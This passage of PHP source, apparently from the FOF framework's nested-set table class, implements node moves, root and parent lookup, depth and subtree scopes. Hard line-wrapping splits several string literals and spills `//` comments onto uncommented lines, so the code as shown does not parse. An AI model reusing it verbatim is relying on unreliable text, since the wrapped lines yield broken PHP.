* @return $this
*/
public function moveRight()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
// If it is a root node we will not move the node (roots don't
participate in tree ordering)
if ($this->isRoot())
{
return $this;
}
// Are we already the rightmost node?
$parentNode = $this->getParent();
if ($parentNode->rgt == ($this->rgt + 1))
{
return $this;
}
// Get the sibling to the right
$db = $this->getDbo();
$table = $this->getClone();
$table->reset();
$rightSibling =
$table->whereRaw($db->qn($this->getColumnAlias('lft')) .
' = ' . $db->q($this->rgt + 1))
->get(0, 1)->current();
// Move the node
if (is_object($rightSibling) && ($rightSibling instanceof
FOFTableNested))
{
return $this->moveToRightOf($rightSibling);
}
return false;
}
/**
* Moves the current node (and its subtree) to the left of another node.
The other node can be in a different
* position in the tree or even under a different root.
*
* @param FOFTableNested $siblingNode
*
* @return $this for chaining
*
* @throws Exception
* @throws RuntimeException
*/
public function moveToLeftOf(FOFTableNested $siblingNode)
{
// Sanity checks on current and sibling node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($siblingNode->lft >= $siblingNode->rgt)
{
throw new RuntimeException('Invalid position values for
the sibling node');
}
$db = $this->getDbo();
$left = $db->qn($this->getColumnAlias('lft'));
$right = $db->qn($this->getColumnAlias('rgt'));
// Get node metrics
$myLeft = $this->lft;
$myRight = $this->rgt;
$myWidth = $myRight - $myLeft + 1;
// Get sibling metrics
$sibLeft = $siblingNode->lft;
// Start the transaction
$db->transactionStart();
try
{
// Temporary remove subtree being moved
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set("$left = " . $db->q(0) . " - $left")
->set("$right = " . $db->q(0) . " - $right")
->where($left . ' >= ' . $db->q($myLeft))
->where($right . ' <= ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Close hole left behind
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' - ' .
$db->q($myWidth))
->where($left . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' - ' .
$db->q($myWidth))
->where($right . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Make a hole for the new items
$newSibLeft = ($sibLeft > $myRight) ? $sibLeft - $myWidth : $sibLeft;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' + ' .
$db->q($myWidth))
->where($right . ' >= ' . $db->q($newSibLeft));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' + ' .
$db->q($myWidth))
->where($left . ' >= ' . $db->q($newSibLeft));
$db->setQuery($query)->execute();
// Move node and subnodes
$moveRight = $newSibLeft - $myLeft;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $db->q(0) . ' - ' .
$left . ' + ' . $db->q($moveRight))
->set($right . ' = ' . $db->q(0) . ' - ' .
$right . ' + ' . $db->q($moveRight))
->where($left . ' <= 0 - ' . $db->q($myLeft))
->where($right . ' >= 0 - ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
$db->transactionRollback();
throw $e;
}
// Let's load the record again to fetch the new values for lft
and rgt
$this->load();
return $this;
}
/**
* Moves the current node (and its subtree) to the right of another node.
The other node can be in a different
* position in the tree or even under a different root.
*
* @param FOFTableNested $siblingNode
*
* @return $this for chaining
*
* @throws Exception
* @throws RuntimeException
*/
public function moveToRightOf(FOFTableNested $siblingNode)
{
// Sanity checks on current and sibling node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($siblingNode->lft >= $siblingNode->rgt)
{
throw new RuntimeException('Invalid position values for
the sibling node');
}
$db = $this->getDbo();
$left = $db->qn($this->getColumnAlias('lft'));
$right = $db->qn($this->getColumnAlias('rgt'));
// Get node metrics
$myLeft = $this->lft;
$myRight = $this->rgt;
$myWidth = $myRight - $myLeft + 1;
// Get parent metrics
$sibRight = $siblingNode->rgt;
// Start the transaction
$db->transactionStart();
try
{
// Temporary remove subtree being moved
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set("$left = " . $db->q(0) . " - $left")
->set("$right = " . $db->q(0) . " - $right")
->where($left . ' >= ' . $db->q($myLeft))
->where($right . ' <= ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Close hole left behind
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' - ' .
$db->q($myWidth))
->where($left . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' - ' .
$db->q($myWidth))
->where($right . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Make a hole for the new items
$newSibRight = ($sibRight > $myRight) ? $sibRight - $myWidth :
$sibRight;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' + ' .
$db->q($myWidth))
->where($left . ' > ' . $db->q($newSibRight));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' + ' .
$db->q($myWidth))
->where($right . ' > ' . $db->q($newSibRight));
$db->setQuery($query)->execute();
// Move node and subnodes
$moveRight = ($sibRight > $myRight) ? $sibRight - $myRight :
$sibRight - $myRight + $myWidth;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $db->q(0) . ' - ' .
$left . ' + ' . $db->q($moveRight))
->set($right . ' = ' . $db->q(0) . ' - ' .
$right . ' + ' . $db->q($moveRight))
->where($left . ' <= 0 - ' . $db->q($myLeft))
->where($right . ' >= 0 - ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
$db->transactionRollback();
throw $e;
}
// Let's load the record again to fetch the new values for lft
and rgt
$this->load();
return $this;
}
/**
* Alias for moveToRightOf
*
* @codeCoverageIgnore
* @param FOFTableNested $siblingNode
*
* @return $this for chaining
*/
public function makeNextSiblingOf(FOFTableNested $siblingNode)
{
return $this->moveToRightOf($siblingNode);
}
/**
* Alias for makeNextSiblingOf
*
* @codeCoverageIgnore
* @param FOFTableNested $siblingNode
*
* @return $this for chaining
*/
public function makeSiblingOf(FOFTableNested $siblingNode)
{
return $this->makeNextSiblingOf($siblingNode);
}
/**
* Alias for moveToLeftOf
*
* @codeCoverageIgnore
* @param FOFTableNested $siblingNode
*
* @return $this for chaining
*/
public function makePreviousSiblingOf(FOFTableNested $siblingNode)
{
return $this->moveToLeftOf($siblingNode);
}
/**
* Moves a node and its subtree as a the first (leftmost) child of
$parentNode
*
* @param FOFTableNested $parentNode
*
* @return $this for chaining
*
* @throws Exception
*/
public function makeFirstChildOf(FOFTableNested $parentNode)
{
// Sanity checks on current and sibling node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($parentNode->lft >= $parentNode->rgt)
{
throw new RuntimeException('Invalid position values for
the parent node');
}
$db = $this->getDbo();
$left = $db->qn($this->getColumnAlias('lft'));
$right = $db->qn($this->getColumnAlias('rgt'));
// Get node metrics
$myLeft = $this->lft;
$myRight = $this->rgt;
$myWidth = $myRight - $myLeft + 1;
// Get parent metrics
$parentLeft = $parentNode->lft;
// Start the transaction
$db->transactionStart();
try
{
// Temporary remove subtree being moved
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set("$left = " . $db->q(0) . " - $left")
->set("$right = " . $db->q(0) . " - $right")
->where($left . ' >= ' . $db->q($myLeft))
->where($right . ' <= ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Close hole left behind
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' - ' .
$db->q($myWidth))
->where($left . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' - ' .
$db->q($myWidth))
->where($right . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Make a hole for the new items
$newParentLeft = ($parentLeft > $myRight) ? $parentLeft - $myWidth :
$parentLeft;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' + ' .
$db->q($myWidth))
->where($right . ' >= ' . $db->q($newParentLeft));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' + ' .
$db->q($myWidth))
->where($left . ' > ' . $db->q($newParentLeft));
$db->setQuery($query)->execute();
// Move node and subnodes
$moveRight = $newParentLeft - $myLeft + 1;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $db->q(0) . ' - ' .
$left . ' + ' . $db->q($moveRight))
->set($right . ' = ' . $db->q(0) . ' - ' .
$right . ' + ' . $db->q($moveRight))
->where($left . ' <= 0 - ' . $db->q($myLeft))
->where($right . ' >= 0 - ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
$db->transactionRollback();
throw $e;
}
// Let's load the record again to fetch the new values for lft
and rgt
$this->load();
return $this;
}
/**
* Moves a node and its subtree as a the last (rightmost) child of
$parentNode
*
* @param FOFTableNested $parentNode
*
* @return $this for chaining
*
* @throws Exception
* @throws RuntimeException
*/
public function makeLastChildOf(FOFTableNested $parentNode)
{
// Sanity checks on current and sibling node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($parentNode->lft >= $parentNode->rgt)
{
throw new RuntimeException('Invalid position values for
the parent node');
}
$db = $this->getDbo();
$left = $db->qn($this->getColumnAlias('lft'));
$right = $db->qn($this->getColumnAlias('rgt'));
// Get node metrics
$myLeft = $this->lft;
$myRight = $this->rgt;
$myWidth = $myRight - $myLeft + 1;
// Get parent metrics
$parentRight = $parentNode->rgt;
// Start the transaction
$db->transactionStart();
try
{
// Temporary remove subtree being moved
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set("$left = " . $db->q(0) . " - $left")
->set("$right = " . $db->q(0) . " - $right")
->where($left . ' >= ' . $db->q($myLeft))
->where($right . ' <= ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Close hole left behind
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' - ' .
$db->q($myWidth))
->where($left . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' - ' .
$db->q($myWidth))
->where($right . ' > ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Make a hole for the new items
$newLeft = ($parentRight > $myRight) ? $parentRight - $myWidth :
$parentRight;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $left . ' + ' .
$db->q($myWidth))
->where($left . ' >= ' . $db->q($newLeft));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($right . ' = ' . $right . ' + ' .
$db->q($myWidth))
->where($right . ' >= ' . $db->q($newLeft));
$db->setQuery($query)->execute();
// Move node and subnodes
$moveRight = ($parentRight > $myRight) ? $parentRight - $myRight - 1
: $parentRight - $myRight - 1 + $myWidth;
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($left . ' = ' . $db->q(0) . ' - ' .
$left . ' + ' . $db->q($moveRight))
->set($right . ' = ' . $db->q(0) . ' - ' .
$right . ' + ' . $db->q($moveRight))
->where($left . ' <= 0 - ' . $db->q($myLeft))
->where($right . ' >= 0 - ' . $db->q($myRight));
$db->setQuery($query)->execute();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
$db->transactionRollback();
throw $e;
}
// Let's load the record again to fetch the new values for lft
and rgt
$this->load();
return $this;
}
/**
* Alias for makeLastChildOf
*
* @codeCoverageIgnore
* @param FOFTableNested $parentNode
*
* @return $this for chaining
*/
public function makeChildOf(FOFTableNested $parentNode)
{
return $this->makeLastChildOf($parentNode);
}
/**
* Makes the current node a root (and moving its entire subtree along the
way). This is achieved by moving the node
* to the right of its root node
*
* @return $this for chaining
*/
public function makeRoot()
{
// Make sure we are not a root
if ($this->isRoot())
{
return $this;
}
// Get a reference to my root
$myRoot = $this->getRoot();
// Double check I am not a root
if ($this->equals($myRoot))
{
return $this;
}
// Move myself to the right of my root
$this->moveToRightOf($myRoot);
$this->treeDepth = 0;
return $this;
}
/**
* Gets the level (depth) of this node in the tree. The result is cached
in $this->treeDepth for faster retrieval.
*
* @throws RuntimeException
*
* @return int|mixed
*/
public function getLevel()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if (is_null($this->treeDepth))
{
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$query = $db->getQuery(true)
->select('(COUNT(' . $db->qn('parent') .
'.' . $fldLft . ') - 1) AS ' .
$db->qn('depth'))
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'))
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('parent'))
->where($db->qn('node') . '.' . $fldLft .
' >= ' . $db->qn('parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('parent') . '.' .
$fldRgt)
->where($db->qn('node') . '.' . $fldLft .
' = ' . $db->q($this->lft))
->group($db->qn('node') . '.' . $fldLft)
->order($db->qn('node') . '.' . $fldLft .
' ASC');
$this->treeDepth = $db->setQuery($query, 0, 1)->loadResult();
}
return $this->treeDepth;
}
/**
* Returns the immediate parent of the current node
*
* @throws RuntimeException
*
* @return FOFTableNested
*/
public function getParent()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if ($this->isRoot())
{
return $this;
}
if (empty($this->treeParent) || !is_object($this->treeParent) ||
!($this->treeParent instanceof FOFTableNested))
{
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$query = $db->getQuery(true)
->select($db->qn('parent') . '.' . $fldLft)
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'))
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('parent'))
->where($db->qn('node') . '.' . $fldLft .
' > ' . $db->qn('parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('parent') . '.' .
$fldRgt)
->where($db->qn('node') . '.' . $fldLft .
' = ' . $db->q($this->lft))
->order($db->qn('parent') . '.' . $fldLft .
' DESC');
$targetLft = $db->setQuery($query, 0, 1)->loadResult();
$table = $this->getClone();
$table->reset();
$this->treeParent = $table
->whereRaw($fldLft . ' = ' . $db->q($targetLft))
->get()->current();
}
return $this->treeParent;
}
/**
* Is this a top-level root node?
*
* @return bool
*/
public function isRoot()
{
// If lft=1 it is necessarily a root node
if ($this->lft == 1)
{
return true;
}
// Otherwise make sure its level is 0
return $this->getLevel() == 0;
}
/**
* Is this a leaf node (a node without children)?
*
* @throws RuntimeException
*
* @return bool
*/
public function isLeaf()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
return ($this->rgt - 1) == $this->lft;
}
/**
* Is this a child node (not root)?
*
* @codeCoverageIgnore
*
* @return bool
*/
public function isChild()
{
return !$this->isRoot();
}
/**
* Returns true if we are a descendant of $otherNode
*
* @param FOFTableNested $otherNode
*
* @throws RuntimeException
*
* @return bool
*/
public function isDescendantOf(FOFTableNested $otherNode)
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($otherNode->lft >= $otherNode->rgt)
{
throw new RuntimeException('Invalid position values for
the other node');
}
return ($otherNode->lft < $this->lft) &&
($otherNode->rgt > $this->rgt);
}
/**
* Returns true if $otherNode is ourselves or if we are a descendant of
$otherNode
*
* @param FOFTableNested $otherNode
*
* @throws RuntimeException
*
* @return bool
*/
public function isSelfOrDescendantOf(FOFTableNested $otherNode)
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($otherNode->lft >= $otherNode->rgt)
{
throw new RuntimeException('Invalid position values for
the other node');
}
return ($otherNode->lft <= $this->lft) &&
($otherNode->rgt >= $this->rgt);
}
/**
* Returns true if we are an ancestor of $otherNode
*
* @codeCoverageIgnore
* @param FOFTableNested $otherNode
*
* @return bool
*/
public function isAncestorOf(FOFTableNested $otherNode)
{
return $otherNode->isDescendantOf($this);
}
/**
* Returns true if $otherNode is ourselves or we are an ancestor of
$otherNode
*
* @codeCoverageIgnore
* @param FOFTableNested $otherNode
*
* @return bool
*/
public function isSelfOrAncestorOf(FOFTableNested $otherNode)
{
return $otherNode->isSelfOrDescendantOf($this);
}
/**
* Is $node this very node?
*
* @param FOFTableNested $node
*
* @throws RuntimeException
*
* @return bool
*/
public function equals(FOFTableNested &$node)
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
if($node->lft >= $node->rgt)
{
throw new RuntimeException('Invalid position values for
the other node');
}
return (
($this->getId() == $node->getId())
&& ($this->lft == $node->lft)
&& ($this->rgt == $node->rgt)
);
}
/**
* Alias for isDescendantOf
*
* @codeCoverageIgnore
* @param FOFTableNested $otherNode
*
* @return bool
*/
public function insideSubtree(FOFTableNested $otherNode)
{
return $this->isDescendantOf($otherNode);
}
/**
* Returns true if both this node and $otherNode are root, leaf or child
(same tree scope)
*
* @param FOFTableNested $otherNode
*
* @return bool
*/
public function inSameScope(FOFTableNested $otherNode)
{
if ($this->isLeaf())
{
return $otherNode->isLeaf();
}
elseif ($this->isRoot())
{
return $otherNode->isRoot();
}
elseif ($this->isChild())
{
return $otherNode->isChild();
}
else
{
return false;
}
}
/**
* get() will return all ancestor nodes and ourselves
*
* @return void
*/
protected function scopeAncestorsAndSelf()
{
$this->treeNestedGet = true;
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' >= ' . $db->qn('node') .
'.' . $fldLft);
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' <= ' . $db->qn('node') .
'.' . $fldRgt);
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' = ' . $db->q($this->lft));
}
/**
* get() will return all ancestor nodes but not ourselves
*
* @return void
*/
protected function scopeAncestors()
{
$this->treeNestedGet = true;
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' > ' . $db->qn('node') . '.'
. $fldLft);
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' < ' . $db->qn('node') . '.'
. $fldRgt);
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' = ' . $db->q($this->lft));
}
/**
* get() will return all sibling nodes and ourselves
*
* @return void
*/
protected function scopeSiblingsAndSelf()
{
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$parent = $this->getParent();
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' > ' . $db->q($parent->lft));
$this->whereRaw($db->qn('node') . '.' . $fldRgt
. ' < ' . $db->q($parent->rgt));
}
/**
* get() will return all sibling nodes but not ourselves
*
* @codeCoverageIgnore
*
* @return void
*/
protected function scopeSiblings()
{
$this->scopeSiblingsAndSelf();
$this->scopeWithoutSelf();
}
/**
* get() will return only leaf nodes
*
* @return void
*/
protected function scopeLeaves()
{
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' = ' . $db->qn('node') . '.' . $fldRgt
. ' - ' . $db->q(1));
}
/**
* get() will return all descendants (even subtrees of subtrees!) and
ourselves
*
* @return void
*/
protected function scopeDescendantsAndSelf()
{
$this->treeNestedGet = true;
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' >= ' . $db->qn('parent') . '.' .
$fldLft);
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' <= ' . $db->qn('parent') . '.' .
$fldRgt);
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' = ' . $db->q($this->lft));
}
/**
* get() will return all descendants (even subtrees of subtrees!) but not
ourselves
*
* @return void
*/
protected function scopeDescendants()
{
$this->treeNestedGet = true;
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' > ' . $db->qn('parent') . '.' .
$fldLft);
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' < ' . $db->qn('parent') . '.' .
$fldRgt);
$this->whereRaw($db->qn('parent') . '.' .
$fldLft . ' = ' . $db->q($this->lft));
}
/**
* get() will only return immediate descendants (first level children) of
the current node
*
* @return void
*/
protected function scopeImmediateDescendants()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$subQuery = $db->getQuery(true)
->select(array(
$db->qn('node') . '.' . $fldLft,
'(COUNT(*) - 1) AS ' . $db->qn('depth')
))
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'))
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('parent'))
->where($db->qn('node') . '.' . $fldLft .
' >= ' . $db->qn('parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('parent') . '.' .
$fldRgt)
->where($db->qn('node') . '.' . $fldLft .
' = ' . $db->q($this->lft))
->group($db->qn('node') . '.' . $fldLft)
->order($db->qn('node') . '.' . $fldLft .
' ASC');
$query = $db->getQuery(true)
->select(array(
$db->qn('node') . '.' . $fldLft,
'(COUNT(' . $db->qn('parent') . '.' .
$fldLft . ') - (' .
$db->qn('sub_tree') . '.' .
$db->qn('depth') . ' + 1)) AS ' .
$db->qn('depth')
))
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'))
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('parent'))
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('sub_parent'))
->join('CROSS', '(' . $subQuery . ') AS
' . $db->qn('sub_tree'))
->where($db->qn('node') . '.' . $fldLft .
' >= ' . $db->qn('parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('parent') . '.' .
$fldRgt)
->where($db->qn('node') . '.' . $fldLft .
' >= ' . $db->qn('sub_parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('sub_parent') . '.' .
$fldRgt)
->where($db->qn('sub_parent') . '.' . $fldLft
. ' = ' . $db->qn('sub_tree') . '.' .
$fldLft)
->group($db->qn('node') . '.' . $fldLft)
->having(array(
$db->qn('depth') . ' > ' . $db->q(0),
$db->qn('depth') . ' <= ' . $db->q(1),
))
->order($db->qn('node') . '.' . $fldLft .
' ASC');
$leftValues = $db->setQuery($query)->loadColumn();
if (empty($leftValues))
{
$leftValues = array(0);
}
array_walk($leftValues, function (&$item, $key) use (&$db)
{
$item = $db->q($item);
});
$this->whereRaw($db->qn('node') . '.' . $fldLft
. ' IN (' . implode(',', $leftValues) . ')');
}
/**
* get() will not return the selected node if it's part of the query
results
*
* @param FOFTableNested $node The node to exclude from the results
*
* @return void
*/
public function withoutNode(FOFTableNested $node)
{
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$this->whereRaw('NOT(' . $db->qn('node') .
'.' . $fldLft . ' = ' . $db->q($node->lft) .
')');
}
/**
* get() will not return ourselves if it's part of the query results
*
* @codeCoverageIgnore
*
* @return void
*/
protected function scopeWithoutSelf()
{
$this->withoutNode($this);
}
/**
* get() will not return our root if it's part of the query results
*
* @codeCoverageIgnore
*
* @return void
*/
protected function scopeWithoutRoot()
{
$rootNode = $this->getRoot();
$this->withoutNode($rootNode);
}
/**
* Returns the root node of the tree this node belongs to
*
* @return self
*
* @throws \RuntimeException
*/
public function getRoot()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
// If this is a root node return itself (there is no such thing as the
root of a root node)
if ($this->isRoot())
{
return $this;
}
if (empty($this->treeRoot) || !is_object($this->treeRoot) ||
!($this->treeRoot instanceof FOFTableNested))
{
$this->treeRoot = null;
// First try to get the record with the minimum ID
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$subQuery = $db->getQuery(true)
->select('MIN(' . $fldLft . ')')
->from($db->qn($this->getTableName()));
try
{
$table = $this->getClone();
$table->reset();
$root = $table
->whereRaw($fldLft . ' = (' . (string)$subQuery .
')')
->get(0, 1)->current();
if ($this->isDescendantOf($root))
{
$this->treeRoot = $root;
}
}
catch (\RuntimeException $e)
{
// If there is no root found throw an exception. Basically: your table
is FUBAR.
throw new \RuntimeException("No root found for table " .
$this->getTableName() . ", node lft=" . $this->lft);
}
// If the above method didn't work, get all roots and select the
one with the appropriate lft/rgt values
if (is_null($this->treeRoot))
{
// Find the node with depth = 0, lft < our lft and rgt > our
right. That's our root node.
$query = $db->getQuery(true)
->select(array(
$db->qn('node') . '.' .
$fldLft,
'(COUNT(' . $db->qn('parent') . '.'
. $fldLft . ') - 1) AS ' . $db->qn('depth')
))
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'))
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('parent'))
->where($db->qn('node') . '.' . $fldLft .
' >= ' . $db->qn('parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('parent') . '.' .
$fldRgt)
->where($db->qn('node') . '.' . $fldLft .
' < ' . $db->q($this->lft))
->where($db->qn('node') . '.' . $fldRgt .
' > ' . $db->q($this->rgt))
->having($db->qn('depth') . ' = ' .
$db->q(0))
->group($db->qn('node') . '.' . $fldLft);
// Get the lft value
$targetLeft = $db->setQuery($query)->loadResult();
if (empty($targetLeft))
{
// If there is no root found throw an exception. Basically: your table
is FUBAR.
throw new \RuntimeException("No root found for table " .
$this->getTableName() . ", node lft=" . $this->lft);
}
try
{
$table = $this->getClone();
$table->reset();
$this->treeRoot = $table
->whereRaw($fldLft . ' = ' . $db->q($targetLeft))
->get(0, 1)->current();
}
catch (\RuntimeException $e)
{
// If there is no root found throw an exception. Basically: your table
is FUBAR.
throw new \RuntimeException("No root found for table " .
$this->getTableName() . ", node lft=" . $this->lft);
}
}
}
return $this->treeRoot;
}
/**
* Get all ancestors to this node and the node itself. In other words it
gets the full path to the node and the node
* itself.
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getAncestorsAndSelf()
{
$this->scopeAncestorsAndSelf();
return $this->get();
}
/**
* Get all ancestors to this node and the node itself, but not the root
node. If you want to
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getAncestorsAndSelfWithoutRoot()
{
$this->scopeAncestorsAndSelf();
$this->scopeWithoutRoot();
return $this->get();
}
/**
* Get all ancestors to this node but not the node itself. In other words
it gets the path to the node, without the
* node itself.
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getAncestors()
{
$this->scopeAncestorsAndSelf();
$this->scopeWithoutSelf();
return $this->get();
}
/**
* Get all ancestors to this node but not the node itself and its root.
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getAncestorsWithoutRoot()
{
$this->scopeAncestors();
$this->scopeWithoutRoot();
return $this->get();
}
/**
* Get all sibling nodes, including ourselves
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getSiblingsAndSelf()
{
$this->scopeSiblingsAndSelf();
return $this->get();
}
/**
* Get all sibling nodes, except ourselves
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getSiblings()
{
$this->scopeSiblings();
return $this->get();
}
/**
* Get all leaf nodes in the tree. You may want to use the scopes to
narrow down the search in a specific subtree or
* path.
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getLeaves()
{
$this->scopeLeaves();
return $this->get();
}
/**
* Get all descendant (children) nodes and ourselves.
*
* Note: all descendant nodes, even descendants of our immediate
descendants, will be returned.
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getDescendantsAndSelf()
{
$this->scopeDescendantsAndSelf();
return $this->get();
}
/**
* Get only our descendant (children) nodes, not ourselves.
*
* Note: all descendant nodes, even descendants of our immediate
descendants, will be returned.
*
* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getDescendants()
{
$this->scopeDescendants();
return $this->get();
}
/**
* Get the immediate descendants (children). Unlike getDescendants it only
goes one level deep into the tree
* structure. Descendants of descendant nodes will not be returned.
*
